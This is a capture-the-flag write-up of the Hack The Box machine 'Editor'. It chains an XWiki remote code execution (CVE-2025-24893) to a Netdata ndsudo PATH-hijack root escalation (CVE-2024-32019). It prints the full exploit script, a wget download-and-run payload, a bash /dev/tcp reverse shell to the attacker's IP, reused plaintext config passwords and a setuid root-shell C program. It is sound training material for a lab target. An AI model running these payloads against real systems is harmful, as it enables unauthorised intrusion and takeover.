- Published on
Hack-The-Box - Easy - Linux - Editor
- AUTHORS

- NAME
- Yasir Mehmood

The machine is initially compromised by exploiting an instance of XWiki running on port 8080/TCP. This is achieved using CVE-2025-24893, which allows unauthenticated remote code execution (RCE) through the SolrSearch functionality.
After gaining a foothold and obtaining a shell as the xwiki user, privilege escalation is performed to the Oliver user by leveraging plaintext credentials discovered in a configuration file, granting access to the user.txt flag.
Further privilege escalation to root is accomplished by exploiting CVE-2024-32019. This vulnerability involves the ndsudo binary from the Netdata suite, which is running on port 19999/TCP. The binary is SUID, owned by root, and permits execution of whitelisted binaries based on the system PATH environment variable, it is possible to execute code and obtain a root shell.
| Machine Name | Platform | IP-Address | Dificulty | Machine Domain |
|---|---|---|---|---|
| Editor | Linux | 10.10.11.80 | Easy | editor.htb |
Enumeration
- The tester started by performing an initial Nmap Scan and got the following results:
┌──(kali@kali)-[~/HTB/Editor]
└─$ sudo nmap -p- 10.10.11.80 --min-rate 10000
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-02 21:01 CEST
Nmap scan report for 10.10.11.80
Host is up (0.021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds
- A closer look on those ports showed a
redirecttoeditor.htbwhich the tester added to/etc/hostsfile. - Besides that information, on port
8080/TCPwas an web application hosted calledXWiki.
┌──(kali@kali)-[~/HTB/Editor]
└─$ sudo nmap -sC -sV -p 22,80,8080 10.10.11.80 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-02 21:02 CEST
Nmap scan report for 10.10.11.80
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open http Jetty 10.0.20
| http-webdav-scan:
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_ Server Type: Jetty(10.0.20)
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
┌──(kali@kali)-[~/HTB/Editor]
└─$ tail -n 1 /etc/hosts
10.10.11.80 editor.htb
- The website on port
80/TCPdidn't revealed anything useful so the tester moved on to port8080/TCP.
┌──(kali@kali)-[~/HTB/Editor]
└─$ whatweb http://editor.htb/
http://editor.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.80], Script[module], Title[Editor - SimplistCode Pro], nginx[1.18.0]

- When the tester used the
whatwebutility on port8080/TCP, he noticed a few unusualredirects.
┌──(kali@kali)-[~/HTB/Editor]
└─$ whatweb http://editor.htb:8080/
http://editor.htb:8080/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], Jetty[10.0.20], RedirectLocation[http://editor.htb:8080/xwiki]
http://editor.htb:8080/xwiki [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], Jetty[10.0.20], RedirectLocation[http://editor.htb:8080/xwiki/]
http://editor.htb:8080/xwiki/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], Jetty[10.0.20], RedirectLocation[http://editor.htb:8080/xwiki/bin/view/Main/], UncommonHeaders[content-script-type]
http://editor.htb:8080/xwiki/bin/view/Main/ [200 OK] Content-Language[en], Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], probably Index-Of, Jetty[10.0.20], Prototype, Script[application/json,en], Title[XWiki - Main - Intro], UncommonHeaders[content-script-type], XWiki

- Tester also found a
login pagebut had no credentials and basic attempts likeadmin:adminfailed. XWiki - Login

- Without having any credentials and since tester only got a
domainto work with... - tester went for
Subdomain Enumerationusingffufand found theVirtual Hostentry ofwiki.
┌──(kali@kali)-[~/HTB/Editor]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.editor.htb" -u http://editor.htb/ -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://editor.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.editor.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
wiki [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 15ms]
:: Progress: [151265/151265] :: Job [1/1] :: 2061 req/sec :: Duration: [0:00:50] :: Errors: 0 ::
- The tester then added this one as well to the
/etc/hostsfile in order to access it.
┌──(kali@kali)-[~/HTB/Editor]
└─$ tail -n 1 /etc/hosts
10.10.11.80 editor.htb wiki.editor.htb
- On
wiki.editor.htb, tester found another instance ofXWikiwhich was kind of suspicious.

Initial Access
- Tester then started to search for known
vulnerabilitiesofXWiki; bringing him to theCVE-2025-24893. - This CVE is also known as
Unauthenticated Remote Code Execution (RCE)inXWikiviaSolrSearch Macro. - The exploit on Exploit-DB referenced a
Proof of Concept (PoC)exploit on GitHub . - The original exploit read the
/etc/passwdand send the output back to the attacker Machine. - Tester wanted to gain a
reverse shellwhich was achieved by modifying one line in the Python script.
exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%2010.10.16.75/x.sh%20-O%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
┌──(kali@kali)-[~/HTB/Editor]
└─$ cat exploit.py
import requests
# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
print("Made By Al Baradi Joy")
print("="*80)
# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"
try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")
try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)
# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%2010.10.16.75/x.sh%20-O%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
try:
print(f"[+] Sending request to: {exploit_url}")
response = requests.get(exploit_url, timeout=10)
# Check if the exploit was successful
if response.status_code == 200 and "root:" in response.text:
print("[✔] Exploit successful! Output received:")
print(response.text)
else:
print(f"[✖] Exploit failed. Status code: {response.status_code}")
except requests.exceptions.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[✖] Unexpected error: {e}")
# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https): ").strip()
exploit(target)
- Tester prepared the file
xwhich would get pulled by the exploited application and written to/tmp/.
┌──(kali@kali)-[~/HTB/Editor]
└─$ cat x
#!/bin/bash
bash -c '/bin/bash -i >& /dev/tcp/10.10.16.75/9001 0>&1'
- The tester executed the exploit and got a hit on the webserver.
┌──(kali@kali)-[~/HTB/Editor]
└─$ python3 exploit.py
================================================================================
Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution
Made By Al Baradi Joy
================================================================================
[?] Enter the target URL (without http/https): wiki.editor.htb
[!] HTTPS not available, falling back to HTTP.
[✔] Target supports HTTP: http://wiki.editor.htb
[+] Sending request to: http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%2010.10.16.75/x.sh%20-O%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[✖] Exploit failed. Status code: 200
┌──(kali@kali)-[~/HTB/Editor]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.80 - - [02/Aug/2025 21:28:32] "GET /x.sh HTTP/1.1" 200 -
10.10.11.80 - - [02/Aug/2025 21:28:32] "GET /x.sh HTTP/1.1" 200 -
- Now, tester needed to trigger the written file using a second exploit.
- Because he wanted to be quick and not tinker with the PoC to get it in one command).
exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
┌──(kali@kali)-[~/HTB/Editor]
└─$ cat exploit_exec.py
import requests
# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
print("Made By Al Baradi Joy")
print("="*80)
# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"
try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")
try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)
# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
try:
print(f"[+] Sending request to: {exploit_url}")
response = requests.get(exploit_url, timeout=10)
# Check if the exploit was successful
if response.status_code == 200 and "root:" in response.text:
print("[✔] Exploit successful! Output received:")
print(response.text)
else:
print(f"[✖] Exploit failed. Status code: {response.status_code}")
except requests.exceptions.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[✖] Unexpected error: {e}")
# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https): ").strip()
exploit(target)
- After executing the
second exploit, tester got acallbackon thelisteneras the userxwiki.
┌──(kali@kali)-[~/HTB/Editor]
└─$ python3 exploit_exec.py
================================================================================
Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution
Made By Al Baradi Joy
================================================================================
[?] Enter the target URL (without http/https): wiki.editor.htb
[!] HTTPS not available, falling back to HTTP.
[✔] Target supports HTTP: http://wiki.editor.htb
[+] Sending request to: http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[✖] Request timed out. Target is slow or unresponsive.
┌──(kali@kali)-[~/HTB/Editor]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.75] from (UNKNOWN) [10.10.11.80] 42924
bash: cannot set terminal process group (1125): Inappropriate ioctl for device
bash: no job control in this shell
xwiki@editor:/usr/lib/xwiki-jetty$
- The tester
stabilized the shellreal quick to start with theenumeration.
xwiki@editor:/usr/lib/xwiki-jetty$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<tty$ python3 -c 'import pty;pty.spawn("/bin/bash")'
xwiki@editor:/usr/lib/xwiki-jetty$ ^Z
zsh: suspended nc -lnvp 9001
┌──(kali@kali)-[~/HTB/Editor]
└─$ stty raw -echo;fg
[1] + continued nc -lnvp 9001
xwiki@editor:/usr/lib/xwiki-jetty$
xwiki@editor:/usr/lib/xwiki-jetty$ export XTERM=xterm
xwiki@editor:/usr/lib/xwiki-jetty$
Post-Exploit Enumeration
- Enumeration revealed that the user
xwikididn't had any special group memberships or permissions.
xwiki@editor:/usr/lib/xwiki-jetty$ id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
- However a look at the
/etc/passwdshowed another available user calledoliver.
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:115:121:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin
xwiki:x:997:997:XWiki:/var/lib/xwiki:/usr/sbin/nologin
netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
_laurel:x:995:995::/var/log/laurel:/bin/false
Privilege Escalation
- To perform a
Privilege Escalationtooliver, tester expected to findplaintext credentialsinside a file. - So tester started searching in the location of application and found 2
passwordsinsideconfiguration files.
xwiki@editor:~$ grep -ri 'password' /etc/xwiki/
/etc/xwiki/hibernate.cfg.xml: <property name="hibernate.connection.password">theEd1t0rTeam99</property>
/etc/xwiki/hibernate.cfg.xml: <property
<--- CUT FOR BREVITY --->
/etc/xwiki/hibernate.cfg.xml.ucf-dist: <property name="hibernate.connection.password">xwikipassword2025</property>
/etc/xwiki/hibernate.cfg.xml.ucf-dist: <property
<--- CUT FOR BREVITY --->
- Switching to
oliverusingsudidn't worked but one of the passwords worked onSSH. - Therefore tester wes able to grab the
user.txtflag file.
┌──(kali@kali)-[~/HTB/Editor]
└─$ ssh oliver@10.10.11.80
The authenticity of host '10.10.11.80 (10.10.11.80)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:48: [hashed name]
~/.ssh/known_hosts:95: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.80' (ED25519) to the list of known hosts.
oliver@10.10.11.80's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Aug 2 07:53:39 PM UTC 2025
System load: 0.04 Processes: 237
Usage of /: 64.7% of 7.28GB Users logged in: 0
Memory usage: 60% IPv4 address for eth0: 10.10.11.80
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Last login: Sat Aug 2 19:53:40 2025 from 10.10.16.75
oliver@editor:~$
Post-Exploit Enumeration
- After enumeration it was found that the user
oliverwas member of the groupnetdata.
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
- However
oliverwas not able to execute any commands usingsudo. - That indicated access to locations like folders inside
/opt/.
oliver@editor:~$ sudo -l
[sudo] password for oliver:
Sorry, user oliver may not run sudo on editor.
- But first, tester checked the
locally available portsand found quite a fewhigh portsavailable. - But one that stood out in particular and that was port
19999/TCP.
oliver@editor:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.1:8125 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:19999 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8125 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:43333 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 50 *:8080 *:*
tcp LISTEN 0 50 [::ffff:127.0.0.1]:8079 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
- The tester then forwarded port
19999/TCPto see what was running on it.
┌──(kali@kali)-[~/HTB/Editor]
└─$ ssh -L 19999:localhost:19999 oliver@10.10.11.80
oliver@10.10.11.80's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Aug 2 07:56:16 PM UTC 2025
System load: 0.12 Processes: 241
Usage of /: 64.7% of 7.28GB Users logged in: 0
Memory usage: 60% IPv4 address for eth0: 10.10.11.80
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Aug 2 19:56:16 2025 from 10.10.16.75
oliver@editor:~$
- Interestingly enough, tester found an application called
Netdatawithout any authentication. - Noticed the version
1.45.2ofNetdataand started searching for known vulnerabilities.
┌──(kali@kali)-[~/HTB/Editor]
└─$ whatweb http://localhost:19999/
http://localhost:19999/ [200 OK] Frame, HTML5, HTTPServer[Netdata Embedded HTTP Server v1.45.2], IP[::1], Script, Title[Netdata Agent Console], UncommonHeaders[access-control-allow-origin,access-control-allow-credentials,x-transaction-id], X-UA-Compatible[IE=edge]

Privilege Escalation
A quick search gave info on
CVE-2024-32019; describing abuse of a binary calledndsudo; part ofNetdatasuite.Along aside other binaries of
Netdatathis one also had theSUIDbit set on it.Which allowed the
executionofwhitelisted binariesknown by the binary itself.
The vulnerability lies in the
ndsudotool, which is packaged as a root-owned executable with the SUID bit set. While it is designed to run only a restricted set of external commands, it relies onPATHvariable for its search paths. This implementation flaw allows an attacker to control wherendsudolooks for these commands. Which can potentially direct it to a path where the attacker has write access. ~( GitHub Advisory ).
oliver@editor:/tmp$ ls -la /opt/netdata/usr/libexec/netdata/plugins.d/
total 81428
drwxr-xr-x 3 root root 4096 Jul 8 08:34 .
drwxr-xr-x 5 root root 4096 Jul 8 08:34 ..
-rwxr-xr-x 1 root root 4873 Apr 1 2024 acl.sh
-rwxr-xr-x 1 root root 154 Apr 1 2024 alarm-email.sh
-rwxr-xr-x 1 root root 137916 Apr 1 2024 alarm-notify.sh
-rwxr-xr-x 1 root root 2155 Apr 1 2024 alarm.sh
-rwxr-xr-x 1 root root 301 Apr 1 2024 alarm-test.sh
-rwxr-xr-x 1 root root 9134 Apr 1 2024 anonymous-statistics.sh
-rwxr-x--- 1 root netdata 1437424 Apr 1 2024 apps.plugin
-rwxr-xr-x 1 root root 23662 Apr 1 2024 cgroup-name.sh
-rwsr-x--- 1 root netdata 965056 Apr 1 2024 cgroup-network
-rwxr-x--- 1 root netdata 10328 Apr 1 2024 cgroup-network-helper.sh
-rwxr-xr-x 1 root root 1259 Apr 1 2024 charts.d.dryrun-helper.sh
-rwxr-x--- 1 root netdata 21948 Apr 1 2024 charts.d.plugin
-rwxr-x--- 1 root netdata 886928 Apr 1 2024 debugfs.plugin
drwxr-xr-x 2 root netdata 20480 Jul 8 08:34 ebpf.d
-rwsr-x--- 1 root netdata 4261672 Apr 1 2024 ebpf.plugin
-rwxr-xr-x 1 root root 1871 Apr 1 2024 ebpf_thread_function.sh
-rwxr-xr-x 1 root root 2139 Apr 1 2024 get-kubernetes-labels.sh
-rwxr-x--- 1 root netdata 70000792 Apr 1 2024 go.d.plugin
-rwxr-xr-x 1 root root 7052 Apr 1 2024 health-cmdapi-test.sh
-rwsr-x--- 1 root netdata 81472 Apr 1 2024 ioping
-rwxr-x--- 1 root netdata 6713 Apr 1 2024 ioping.plugin
-rwsr-x--- 1 root netdata 1144224 Apr 1 2024 local-listeners
-rw-r--r-- 1 root root 6860 Apr 1 2024 loopsleepms.sh.inc
-rwsr-x--- 1 root netdata 200576 Apr 1 2024 ndsudo
-rwsr-x--- 1 root netdata 1377624 Apr 1 2024 network-viewer.plugin
-rwsr-x--- 1 root netdata 896448 Apr 1 2024 nfacct.plugin
-rwxr-x--- 1 root netdata 863608 Apr 1 2024 perf.plugin
-rwxr-x--- 1 root netdata 27998 Apr 1 2024 python.d.plugin
-rwxr-xr-x 1 root root 11020 Apr 1 2024 request.sh
-rwxr-x--- 1 root netdata 860296 Apr 1 2024 slabinfo.plugin
-rwxr-xr-x 1 root root 22444 Apr 1 2024 system-info.sh
-rwxr-xr-x 1 root root 8674 Apr 1 2024 tc-qos-helper.sh
-rwxr-xr-x 1 root root 2915 Apr 1 2024 template_dim.sh
- Tester used
stringsutility to see what was available inside thebinary. - And what could potentially be executed by manipulating
$PATHvariable.
oliver@editor:~/bin$ strings /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo | grep -E '^[a-zA-Z0-9._-]+$'
<--- CUT FOR BREVITY --->
PATH
ndsudo
--help
--test
execve
nvme-list
nvme
nvme-smart-log
megacli-disk-info
megacli
MegaCli
megacli-battery-info
<--- CUT FOR BREVITY --->
- Then the tester wrote a small
C Porgramto give him shell access asrootuser when executed successfully.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
if (setgid(0) != 0 || setuid(0) != 0) {
perror("Privilege escalation failed");
exit(EXIT_FAILURE);
}
execl("/bin/bash", "bash", "-p", NULL);
perror("Failed to spawn shell");
return 1;
}
- The tester compiled the program and copied it to the victim Machine.
┌──(kali@kali)-[~/HTB/Editor]
└─$ gcc megacli.c -o megacli
oliver@editor:/tmp$ wget http://10.10.16.75/megacli
--2025-08-02 20:27:24-- http://10.10.16.75/megacli
Connecting to 10.10.16.75:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16160 (16K) [application/octet-stream]
Saving to: ‘megacli’
megacli 100%[========================================================================================================================================>] 15.78K --.-KB/s in 0.03s
2025-08-02 20:27:24 (491 KB/s) - ‘megacli’ saved [16160/16160]
- Then the tester made the binary
executableandexportedthewriteable pathto theshell.
oliver@editor:/tmp$ chmod +x megacli
oliver@editor:/tmp$ export PATH=/tmp:$PATH
- The last step was to execute
ndsudousing thecommandmegacli-disk-info.
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo megacli-disk-info
root@editor:/home/oliver/bin#
- The Season 8 - Editor Machine on Hack-The-Box was now complete.
